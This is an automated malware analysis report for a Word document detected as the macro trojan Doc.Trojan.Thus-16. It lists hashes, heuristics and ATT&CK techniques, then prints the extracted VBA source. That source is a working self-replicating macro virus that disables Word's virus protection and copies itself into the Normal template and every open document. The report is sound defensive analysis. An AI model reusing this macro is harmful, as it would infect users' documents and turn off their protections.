Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9680785a96a1252f…

MALICIOUS

Office (OLE)

2.02 MB Created: 2006-04-14 17:01:00 Authoring application: Microsoft Word 11.2 First seen: 2020-09-07
MD5: 26af3dc5867734dc6a57f40ccf9e834a SHA-1: 875287836f64f421902ecdbcd1738b61d7097f70 SHA-256: 9680785a96a1252f782d0b410b8c187392f0b4d7aa766afe638bb49293ccc970
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is identified as malicious by ClamAV with the signature 'Doc.Trojan.Thus-16'. It contains VBA macros, specifically a Document_Open macro, which is a common technique for executing malicious code upon opening the document. The script attempts to copy itself to the Normal template and other open documents, suggesting an intent to establish persistence or spread.

Heuristics 4

  • ClamAV: Doc.Trojan.Thus-16 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-16
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.apple.com/DTDs/PropertyList-1.0.dtd In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1948 bytes
SHA-256: eee9f924124cff289edeca77cadfbe34459372245c07d1a4aafe0694f2eb9ca9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Private Sub Document_Open()
'Mat1'
   On Error Resume Next
   Application.Options.VirusProtection = False
   If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Mat1'" Then
   NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, _
   NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
   End If
   
   If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
   NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.InsertLines _
   1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines _
   (1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
   End If
   
   If NormalTemplate.Saved = False Then NormalTemplate.Save
   
   For k = 1 To Application.Documents.Count
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Mat1'" Then
        Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.DeleteLines _
        1, Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
        Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.InsertLines _
        1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines _
        (1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
    End If
   Next k
End Sub

Private Sub Document_New()
    Document_Open
End Sub

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